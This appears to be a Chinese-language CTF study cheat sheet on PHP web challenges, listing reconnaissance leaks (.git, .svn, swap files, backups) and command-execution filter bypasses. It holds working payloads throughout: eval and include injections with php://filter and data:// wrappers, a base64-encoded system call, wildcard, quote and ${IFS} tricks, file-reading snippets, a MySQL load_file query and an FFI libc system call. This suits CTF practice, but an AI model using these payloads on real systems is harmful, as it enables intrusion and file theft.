信息收集
- 源代码
- 响应包
- robots协议
- phps文件泄露
- www.zip代码泄露
- git代码泄露
- svn泄露
- vim缓存,第一次 .swp,第二次 .swo,第三次 .swn
- cookie
- dns TXT记录
- 环境默认账号密码
- PHP探针
- mdb文件( /db/db.mdb )
- 数据库备份( backup.sql )
 
爆破
- 弱口令
- 子域名
- 目录/文件
 
命令执行
关键字绕过
通配符
- ? 如:fla???
-  
  - 如:fla*
 
 
- 如:fla*
单双引号
- ‘’ 如:fla’'g.php
- “” 如:flag.p""hp
 
函数
- include 如:include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
- require 与include几乎一样
- require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
- eval 如:eval($_GET[1]);&1=system(‘nl flag.php’);
 
函数绕过
system

passthru

exec

shell_exec

popen

proc_open

pcntl_exec

反引号
``等同于shell_exec()
 
cat绕过
more

less

tac

cat

tail

nl

od

vi

vim
与 vi差不多
 
sort

uniq

file
- 使用file -f使其报错出内容

grep
- 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

高亮文件绕过
- highlight_file(next(array_reverse(scandir(dirname(FILE)))));
- show_source(next(array_reverse(scandir(pos(localeconv())))));
 
分号
include可以不需要分号,可以用?>代替分号
如:include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
如:include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
如:include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
 
/dev/null 2>&1
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
可以使用截断
- %0a
- %26
- ||
 
空格
- %09
- <
- ${IFS}
 
获取文件路径
- print_r(scandir(dirname(‘FILE’)));
- $a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString()." ");}
- $a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . “
 ”; };
- print_r(scandir(’./’));
 
读取文件
- echo file_get_contents(“filename”);
- readfile(“filename”);
- var_dump(file(‘filename’));
- print_r(file(‘filename’));
- fopen 
  -  fread() 
  
-  fgets()如:fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgets($a);echo $line;} 
  
-  fgetc()如:fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetc($a);echo $line;} 
  
-  fgetss() 
  
-  fgetcsv()如:fopen(“flag.php”,“r”);while (!feof($a)) {$line = fgetcsv($a);var_dump($line);} 
  
-  gpassthru() 
  
 
-  
通过复制重命名文件
如:copy(“flag.php”,“flag.txt”); rename(“flag.php”,“flag.txt”);
 
mysql load_file读取
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
FFI拓展
$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();










